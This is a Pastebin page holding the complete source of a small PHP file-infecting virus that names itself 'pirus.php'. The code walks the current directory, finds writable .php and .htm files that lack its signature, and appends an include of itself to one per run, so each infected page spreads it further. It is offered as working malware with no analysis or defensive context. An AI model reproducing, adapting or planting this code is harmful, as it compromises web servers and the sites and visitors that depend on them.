Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $handle=opendir('.');
- while ($file = readdir($handle))
- { $infected=true;
- $executable=false;
- if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
- if ( is_file($file) && is_writeable($file) )
- {
- $host = fopen($file, "r");
- $contents = fread ($host, filesize ($file));
- $sig = strstr ($contents, 'pirus.php');
- if(!$sig) $infected=false;
- }
- //infect
- if (($infected==false))
- {
- $host = fopen($file, "a");
- fputs($host,"<?php ");
- fputs($host,"include(\"");
- fputs($host,__FILE__);
- fputs($host,"\"); ");
- fputs($host,"?>");
- fclose($host);
- return;
- }
- }
- closedir($handle);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement